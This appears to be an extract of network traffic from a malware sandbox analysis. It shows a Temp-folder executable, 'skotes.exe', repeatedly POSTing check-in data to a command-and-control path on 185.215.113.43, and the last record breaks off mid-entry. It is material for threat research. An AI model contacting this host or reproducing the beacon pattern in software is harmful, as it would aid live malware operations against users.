Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:49.279808044 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:50.623436928 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50246	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:52.256714106 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:53.606003046 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50247	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:55.355992079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:32:56.710105896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50248	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:32:58.351691008 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:32:59.688103914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:32:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50249	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:01.429331064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:02.778563023 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50250	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:04.425189018 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:05.771214008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50251	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:07.522438049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:08.871608973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50252	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:10.500130892 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:11.872709036 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50253	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:13.615783930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:14.950376987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50254	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:16.592951059 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:17.940879107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50255	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:19.690810919 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:21.024225950 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50256	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:22.666477919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:24.006733894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50257	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:25.746464968 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:27.109751940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50258	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:28.742278099 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:30.092118025 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50259	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:31.838063002 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:33.197381973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50260	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:34.836985111 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:36.171545029 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50261	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:37.912944078 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:39.278779984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50262	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:40.908585072 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:42.302762985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50263	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:44.045627117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:45.424488068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50264	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:47.061820984 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:48.419958115 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50265	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:50.161526918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:51.493633032 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50266	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:53.139718056 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22F79B35982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 9, 2024 20:33:54.503946066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50267	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:56.246208906 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 20:33:57.595370054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 19:33:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50268	185.215.113.43	80	4304	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 20:33:59.222404003 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 46 37 39 42 33 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: 